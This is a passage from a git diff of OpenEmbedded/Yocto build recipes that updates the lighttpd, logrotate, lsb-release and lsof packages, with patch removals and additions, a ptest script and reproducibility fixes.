+PACKAGECONFIG[ldap] = "-Dwith_ldap=enabled,-Dwith_ldap=disabled,openldap"
+PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr"
+PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl"
+PACKAGECONFIG[krb5] = "-Dwith_krb5=enabled,-Dwith_krb5=disabled,krb5"
+PACKAGECONFIG[pcre] = "-Dwith_pcre=pcre2,-Dwith_pcre=disabled,libpcre2"
+PACKAGECONFIG[zlib] = "-Dwith_zlib=enabled,-Dwith_zlib=disabled,zlib"
+PACKAGECONFIG[bzip2] = "-Dwith_bzip=enabled,-Dwith_bzip=disabled,bzip2"
+PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=enabled,-Dwith_webdav_props=disabled,libxml2 sqlite3"
+PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=enabled,-Dwith_webdav_locks=disabled,util-linux"
+PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua"
+PACKAGECONFIG[zstd] = "-Dwith_zstd=enabled,-Dwith_zstd=disabled,zstd"
+
+inherit meson pkgconfig update-rc.d gettext systemd
+
+INITSCRIPT_NAME = "lighttpd"
+INITSCRIPT_PARAMS = "defaults 70"
+
+SYSTEMD_SERVICE:${PN} = "lighttpd.service"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
+ install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
+ install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
+ install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ ${D}${systemd_system_unitdir}/lighttpd.service
+ #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
+ ln -sf ${localstatedir}/log ${D}/www/logs
+ ln -sf ${localstatedir}/tmp ${D}/www/var
+}
+
+# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split.
+# So we re-do the variable.
+FILES:${PN} = "${sysconfdir} /www ${sbindir}"
+
+CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
+
+PACKAGES_DYNAMIC += "^lighttpd-module-.*"
+
+python populate_packages:prepend () {
+ lighttpd_libdir = d.expand('${prefix}/lib/lighttpd')
+ do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
+}
diff --git a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch b/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch
deleted file mode 100644
index 50a3852078..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 3e2cfa88b6538bb0fee3d9a6e99622055d05ac4a Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:14:37 -0800
-Subject: [PATCH] Update the manual
-
-Update the manual for rotating on different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- logrotate.8.in | 10 ++++------
- 1 file changed, 4 insertions(+), 6 deletions(-)
-
-diff --git a/logrotate.8.in b/logrotate.8.in
-index 98fea91..70b4c44 100644
---- a/logrotate.8.in
-+++ b/logrotate.8.in
-@@ -202,12 +202,10 @@ at all (use with caution, may waste performance and disk space). Default is 0.
-
- .TP
- \fBolddir \fIdirectory\fR
--Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR must be
--on the same physical device as the log file being rotated, unless \fBcopy\fR,
--\fBcopytruncate\fR or \fBrenamecopy\fR option is used. The \fIdirectory\fR
--is assumed to be relative to the directory holding the log file
--unless an absolute path name is specified. When this option is used all
--old versions of the log end up in \fIdirectory\fR. This option may be
-+Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR
-+is assumed to be relative to the directory holding the log file unless
-+an absolute path name is specified. When this option is used all old
-+versions of the log end up in \fIdirectory\fR. This option may be
- overridden by the \fBnoolddir\fR option.
-
- .TP
---
-2.24.0
-
diff --git a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
deleted file mode 100644
index 671fce4ac8..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
+++ /dev/null
@@ -1,149 +0,0 @@
-From 17d57a2a923a4af53c8910a9999aebeab3f5d83a Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:08:07 -0800
-Subject: [PATCH] Act as the "mv" command when rotate log
-
-Act as the "mv" command when rotate log, first rename, if failed, then
-read and write.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- logrotate.c | 71 ++++++++++++++++++++++++++++++++++++++++++++---------
- 1 file changed, 59 insertions(+), 12 deletions(-)
-
-diff --git a/logrotate.c b/logrotate.c
-index 45b3eb6..231371a 100644
---- a/logrotate.c
-+++ b/logrotate.c
-@@ -1463,6 +1463,53 @@ static int findNeedRotating(const struct logInfo *log, unsigned logNum, int forc
- return 0;
- }
-
-+/* Act as the "mv" command, if rename failed, then read the old file and
-+ * write to new file. The function which invokes the mvFile will use
-+ * the strerror(errorno) to handle the error message, so we don't have
-+ * to print the error message here */
-+
-+int mvFile (char *oldName, char *newName, struct logInfo *log, acl_type acl)
-+{
-+ struct stat sbprev;
-+ int fd_old, fd_new, n;
-+ char buf[BUFSIZ];
-+
-+ /* Do the rename first */
-+ if (!rename(oldName, newName))
-+ return 0;
-+
-+ /* If the errno is EXDEV, then read old file, write newfile and
-+ * remove the oldfile */
-+ if (errno == EXDEV) {
-+ /* Open the old file to read */
-+ if ((fd_old = open(oldName, O_RDONLY)) < 0)
-+ return 1;
-+
-+ /* Create the file to write, keep the same attribute as the old file */
-+ if (stat(oldName, &sbprev))
-+ return 1;
-+ else {
-+ if ((fd_new = createOutputFile(newName,
-+ O_WRONLY | O_CREAT | O_TRUNC, &sbprev, acl, 0)) < 0 )
-+ return 1;
-+ }
-+
-+ /* Read and write */
-+ while ((n = read(fd_old, buf, BUFSIZ)) > 0)
-+ if (write(fd_new, buf, n) != n)
-+ return 1;
-+
-+ if ((close(fd_old) < 0) ||
-+ removeLogFile(oldName, log) ||
-+ (close(fd_new) < 0))
-+ return 1;
-+
-+ return 0;
-+ }
-+
-+ return 1;
-+}
-+
- /* find the rotated file with the highest index */
- static int findLastRotated(const struct logNames *rotNames,
- const char *fileext, const char *compext)
-@@ -1958,15 +2005,15 @@ static int prerotateSingleLog(const struct logInfo *log, unsigned logNum,
- }
-
- message(MESS_DEBUG,
-- "renaming %s to %s (rotatecount %d, logstart %d, i %d), \n",
-+ "moving %s to %s (rotatecount %d, logstart %d, i %d), \n",
- oldName, newName, rotateCount, logStart, i);
-
-- if (!debug && rename(oldName, newName)) {
-+ if (!debug && mvFile(oldName, newName, log, prev_acl)) {
- if (errno == ENOENT) {
- message(MESS_DEBUG, "old log %s does not exist\n",
- oldName);
- } else {
-- message(MESS_ERROR, "error renaming %s to %s: %s\n",
-+ message(MESS_ERROR, "error moving %s to %s: %s\n",
- oldName, newName, strerror(errno));
- hasErrors = 1;
- }
-@@ -2051,10 +2098,10 @@ static int rotateSingleLog(const struct logInfo *log, unsigned logNum,
- return 1;
- }
-
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- tmpFilename);
-- if (!debug && !hasErrors && rename(log->files[logNum], tmpFilename)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ if (!debug && !hasErrors && mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], tmpFilename,
- strerror(errno));
- hasErrors = 1;
-@@ -2063,11 +2110,11 @@ static int rotateSingleLog(const struct logInfo *log, unsigned logNum,
- free(tmpFilename);
- }
- else {
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- rotNames->finalName);
- if (!debug && !hasErrors &&
-- rename(log->files[logNum], rotNames->finalName)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], rotNames->finalName,
- strerror(errno));
- hasErrors = 1;
-@@ -2480,7 +2527,7 @@ static int rotateLogSet(const struct logInfo *log, int force)
- return hasErrors;
- }
-
--static int writeState(const char *stateFilename)
-+static int writeState(struct logInfo *log, char *stateFilename)
- {
- struct logState *p;
- FILE *f;
-@@ -2659,7 +2706,7 @@ static int writeState(const char *stateFilename)
- fclose(f);
-
- if (error == 0) {
-- if (rename(tmpFilename, stateFilename)) {
-+ if (mvFile(tmpFilename, stateFilename, log, prev_acl)) {
- message(MESS_ERROR, "error renaming temp state file %s to %s: %s\n",
- tmpFilename, stateFilename, strerror(errno));
- unlink(tmpFilename);
-@@ -3073,7 +3120,7 @@ int main(int argc, const char **argv)
- rc |= rotateLogSet(log, force);
-
- if (!debug)
-- rc |= writeState(stateFile);
-+ rc |= writeState(log, stateFile);
-
- return (rc != 0);
- }
diff --git a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch b/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
deleted file mode 100644
index d7f9a02cc8..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 16c1833ade4c036b30b8761d2c4a5bd85cc65c44 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 8 Jan 2019 06:27:06 +0000
-Subject: [PATCH] Disable the check for different filesystems
-
-The logrotate supports rotate log across different filesystems now, so
-disable the check for different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- config.c | 9 ---------
- 1 file changed, 9 deletions(-)
-
-diff --git a/config.c b/config.c
-index d2488f1..1de3745 100644
---- a/config.c
-+++ b/config.c
-@@ -1902,15 +1902,6 @@ duperror:
- }
-
- free(ld);
--
-- if (sb.st_dev != sb2.st_dev
-- && !(newlog->flags & (LOG_FLAG_COPYTRUNCATE | LOG_FLAG_COPY | LOG_FLAG_TMPFILENAME))) {
-- message(MESS_ERROR,
-- "%s:%d olddir %s and log file %s "
-- "are on different devices\n", configFile,
-- lineNum, newlog->oldDir, newlog->files[j]);
-- goto error;
-- }
- }
- }
-
diff --git a/meta/recipes-extended/logrotate/logrotate/run-ptest b/meta/recipes-extended/logrotate/logrotate/run-ptest
new file mode 100755
index 0000000000..b272def65f
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate/run-ptest
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+set -u
+
+make -k check
diff --git a/meta/recipes-extended/logrotate/logrotate_3.17.0.bb b/meta/recipes-extended/logrotate/logrotate_3.17.0.bb
deleted file mode 100644
index 08001f38e5..0000000000
--- a/meta/recipes-extended/logrotate/logrotate_3.17.0.bb
+++ /dev/null
@@ -1,91 +0,0 @@
-SUMMARY = "Rotates, compresses, removes and mails system log files"
-SECTION = "console/utils"
-HOMEPAGE = "https://github.com/logrotate/logrotate/issues"
-LICENSE = "GPLv2"
-
-# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
-
-DEPENDS="coreutils popt"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://act-as-mv-when-rotate.patch \
- file://0001-Update-the-manual.patch \
- file://disable-check-different-filesystems.patch \
- "
-
-SRC_URI[sha256sum] = "58cc2178ff57faa3c0490181cce041345aeca6cff18dba1c5cd1398bf1c19294"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
-
-PACKAGECONFIG[acl] = ",,acl"
-PACKAGECONFIG[selinux] = ",,libselinux"
-
-CONFFILES_${PN} += "${localstatedir}/lib/logrotate.status \
- ${sysconfdir}/logrotate.conf \
- ${sysconfdir}/logrotate.d/btmp \
- ${sysconfdir}/logrotate.d/wtmp"
-
-# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
-# optimization variables, so use it rather than EXTRA_CFLAGS.
-EXTRA_OEMAKE = "\
- LFS= \
- OS_NAME='${OS_NAME}' \
- 'CC=${CC}' \
- 'RPM_OPT_FLAGS=${CFLAGS}' \
- 'EXTRA_LDFLAGS=${LDFLAGS}' \
- ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
-"
-
-# OS_NAME in the makefile defaults to `uname -s`. The behavior for
-# freebsd/netbsd is questionable, so leave it as Linux, which only sets
-# INSTALL=install and BASEDIR=/usr.
-OS_NAME = "Linux"
-
-inherit autotools systemd
-
-SYSTEMD_SERVICE_${PN} = "\
- ${BPN}.service \
- ${BPN}.timer \
-"
-
-LOGROTATE_OPTIONS ?= ""
-
-LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
-LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
-LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
-
-do_install(){
- oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
- mkdir -p ${D}${sysconfdir}/logrotate.d
- mkdir -p ${D}${localstatedir}/lib
- install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
- install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
- install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
- touch ${D}${localstatedir}/lib/logrotate.status
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
- install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
- [ -z "${LOGROTATE_OPTIONS}" ] ||
- sed -ri \
- -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
- ${D}${systemd_system_unitdir}/logrotate.service
- sed -ri \
- -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
- -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
- -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
- ${D}${systemd_system_unitdir}/logrotate.timer
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- mkdir -p ${D}${sysconfdir}/cron.daily
- install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
- fi
-}
diff --git a/meta/recipes-extended/logrotate/logrotate_3.21.0.bb b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
new file mode 100644
index 0000000000..10a6149abc
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
@@ -0,0 +1,114 @@
+SUMMARY = "Rotates, compresses, removes and mails system log files"
+SECTION = "console/utils"
+HOMEPAGE = "https://github.com/logrotate/logrotate/"
+DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files."
+LICENSE = "GPL-2.0-only"
+
+# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
+
+DEPENDS="coreutils popt"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.xz \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "8fa12015e3b8415c121fc9c0ca53aa872f7b0702f543afda7e32b6c4900f6516"
+
+CVE_STATUS_GROUPS = "CVE_STATUS_RECIPE"
+CVE_STATUS_RECIPE = "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550"
+CVE_STATUS_RECIPE[status] = "not-applicable-platform: CVE is debian, gentoo or SUSE specific on the way logrotate was installed/used"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
+
+PACKAGECONFIG[acl] = ",,acl"
+PACKAGECONFIG[selinux] = ",,libselinux"
+
+CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \
+ ${sysconfdir}/logrotate.conf \
+ ${sysconfdir}/logrotate.d/btmp \
+ ${sysconfdir}/logrotate.d/wtmp"
+
+# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
+# optimization variables, so use it rather than EXTRA_CFLAGS.
+EXTRA_OEMAKE = "\
+ LFS= \
+ OS_NAME='${OS_NAME}' \
+ 'CC=${CC}' \
+ 'RPM_OPT_FLAGS=${CFLAGS}' \
+ 'EXTRA_LDFLAGS=${LDFLAGS}' \
+ ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
+"
+
+# OS_NAME in the makefile defaults to `uname -s`. The behavior for
+# freebsd/netbsd is questionable, so leave it as Linux, which only sets
+# INSTALL=install and BASEDIR=/usr.
+OS_NAME = "Linux"
+
+inherit autotools systemd github-releases ptest
+
+SYSTEMD_SERVICE:${PN} = "\
+ ${BPN}.service \
+ ${BPN}.timer \
+"
+
+LOGROTATE_OPTIONS ?= ""
+
+LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
+LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
+LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
+
+do_install(){
+ oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
+ mkdir -p ${D}${sysconfdir}/logrotate.d
+ mkdir -p ${D}${localstatedir}/lib
+ install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
+ install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
+ install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
+ install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
+ [ -z "${LOGROTATE_OPTIONS}" ] ||
+ sed -ri \
+ -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.service
+ sed -ri \
+ -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
+ -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
+ -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.timer
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ mkdir -p ${D}${sysconfdir}/cron.daily
+ install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
+ fi
+}
+
+do_install_ptest() {
+ cp -r ${S}/test/* ${D}${PTEST_PATH}
+ cp ${S}/test-driver ${D}${PTEST_PATH}
+ cp ${B}/test/Makefile ${D}${PTEST_PATH}
+
+ # Do not rebuild Makefile
+ sed -i 's/^Makefile:/_Makefile:/' ${D}${PTEST_PATH}/Makefile
+
+ # Fix top_builddir and top_srcdir
+ sed -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
+ -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
+ -i ${D}${PTEST_PATH}/Makefile
+
+ # Replace bash with sh
+ sed -i 's,/bin/bash,/bin/sh,' ${D}${PTEST_PATH}/Makefile
+
+ # Replace gawk with awk
+ sed -i 's/gawk/awk/' ${D}${PTEST_PATH}/Makefile
+ ln -s ${sbindir}/logrotate ${D}${PTEST_PATH}
+}
+
+# coreutils is needed to have "readlink"
+RDEPENDS:${PN}-ptest += "make coreutils"
diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
new file mode 100644
index 0000000000..f32cd18370
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
@@ -0,0 +1,27 @@
+lsb-release maintains it's own copy of help2man. Include the support
+for specifying SOURCE_DATE_EPOCH from upstream.
+
+Upstream-Status: Pending
+
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+
+diff --git a/help2man b/help2man
+index 13015c2..63439db 100755
+--- a/help2man
++++ b/help2man
+@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map {
+ or die "$this_program: can't get `--$_' info from $ARGV[0]\n"
+ } qw(help), $opt_version_key;
+
+-my $date = strftime "%B %Y", localtime;
++my $epoch_secs = time;
++if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/)
++{
++ $epoch_secs = $1;
++ $ENV{TZ} = 'UTC0';
++}
++
++my $date = strftime "%B %Y", localtime $epoch_secs;
+ (my $program = $ARGV[0]) =~ s!.*/!!;
+ my $package = $program;
+ my $version;
diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb
index a06cbcf845..00d8183a4f 100644
--- a/meta/recipes-extended/lsb/lsb-release_1.4.bb
+++ b/meta/recipes-extended/lsb/lsb-release_1.4.bb
@@ -1,22 +1,22 @@
SUMMARY = "lsb_release support for OpenEmbedded"
SECTION = "console/utils"
-HOMEPAGE = "http://prdownloads.sourceforge.net/lsb"
-LICENSE = "GPLv2+"
+HOMEPAGE = "https://sourceforge.net/projects/lsb/files"
+LICENSE = "GPL-2.0-or-later"
# lsb_release needs getopt
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_getopt}"
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}"
LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
file://0001-Remove-timestamp-from-manpage.patch \
+ file://help2man-reproducibility.patch \
"
-SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4"
SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172"
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/lsb/files/lsb_release/"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/lsb/files/lsb_release/"
UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/"
CLEANBROKEN = "1"
@@ -34,4 +34,4 @@ do_install() {
echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
}
-FILES_${PN} += "${base_libdir}"
+FILES:${PN} += "${base_libdir}"
diff --git a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
deleted file mode 100644
index b7d2323dc9..0000000000
--- a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
+++ /dev/null
@@ -1,76 +0,0 @@
-Remove host information from version.h
-
-make lsof not include host information
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Li Wang <li.wang@windriver.com>
----
- dialects/linux/Makefile | 50 +++++++++--------------------------------------
- 1 file changed, 9 insertions(+), 41 deletions(-)
-
-diff --git a/dialects/linux/Makefile b/dialects/linux/Makefile
-index 2bea108..792142b 100644
---- a/dialects/linux/Makefile
-+++ b/dialects/linux/Makefile
-@@ -76,48 +76,16 @@ version.h: FRC
- @echo Constructing version.h
- @rm -f version.h
- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
-- @echo '#define LSOF_CC "${CC}"' >> version.h
-- @echo '#define LSOF_CCV "${CCV}"' >> version.h
-- @echo '#define LSOF_CCDATE "'`date`'"' >> version.h
-- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
-+ @echo '#define LSOF_CC ""' >> version.h
-+ @echo '#define LSOF_CCV ""' >> version.h
-+ @echo '#define LSOF_CCDATE ""' >> version.h
-+ @echo '#define LSOF_CCFLAGS ""' >> version.h
- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
-- @if [ "X${LSOF_HOST}" = "X" ]; then \
-- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
-- else \
-- if [ "${LSOF_HOST}" = "none" ]; then \
-- echo '#define LSOF_HOST ""' >> version.h; \
-- else \
-- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
-- fi \
-- fi
-- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
-- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
-- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
-- else \
-- if [ "${LSOF_LOGNAME}" = "none" ]; then \
-- echo '#define LSOF_LOGNAME ""' >> version.h; \
-- else \
-- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
-- fi; \
-- fi
-- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
-- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
-- else \
-- if [ "${LSOF_SYSINFO}" = "none" ]; then \
-- echo '#define LSOF_SYSINFO ""' >> version.h; \
-- else \
-- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
-- fi \
-- fi
-- @if [ "X${LSOF_USER}" = "X" ]; then \
-- echo '#define LSOF_USER "${USER}"' >> version.h; \
-- else \
-- if [ "${LSOF_USER}" = "none" ]; then \
-- echo '#define LSOF_USER ""' >> version.h; \
-- else \
-- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
-- fi \
-- fi
-+ @echo '#define LSOF_HOST ""' >> version.h;
-+ @echo '#define LSOF_LDFLAGS ""' >> version.h
-+ @echo '#define LSOF_LOGNAME ""' >> version.h;
-+ @echo '#define LSOF_SYSINFO ""' >> version.h;
-+ @echo '#define LSOF_USER ""' >> version.h;
- @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
-
- FRC:
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/lsof/files/remove-host-information.patch b/meta/recipes-extended/lsof/files/remove-host-information.patch
new file mode 100644
index 0000000000..1f2b4afa69
--- /dev/null
+++ b/meta/recipes-extended/lsof/files/remove-host-information.patch
@@ -0,0 +1,123 @@
+From 4f05492ac07a7bbaf06dd8265b9cba329e1b53e9 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Wed, 30 Aug 2017 15:05:16 +0800
+Subject: [PATCH] lsof: remove host information from version.h
+
+lsof doesn't embed the username or hostname in the build if SOURCE_DATE_EPOCH is
+defined, but this still embeds build paths. Delete all of the host details to
+ensure that no host information is leaked into the binary.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ autotools/version.h.in | 16 ++++-----
+ lib/dialects/linux/Makefile | 69 ++++++-------------------------------
+ 2 files changed, 19 insertions(+), 66 deletions(-)
+
+diff --git a/autotools/version.h.in b/autotools/version.h.in
+index aac0b80..2e635a5 100644
+--- a/autotools/version.h.in
++++ b/autotools/version.h.in
+@@ -37,13 +37,13 @@
+
+ #include "config.h"
+ #define LSOF_VERSION PACKAGE_VERSION
+-#define LSOF_HOST "@host@"
+-#define LSOF_LOGNAME "@logname@"
+-#define LSOF_USER "@user@"
+-#define LSOF_CC "@cc@"
+-#define LSOF_CCV "@ccv@"
+-#define LSOF_CCFLAGS "@ccflags@"
+-#define LSOF_LDFLAGS "@ldflags@"
+-#define LSOF_SYSINFO "@sysinfo@"
++#define LSOF_HOST ""
++#define LSOF_LOGNAME ""
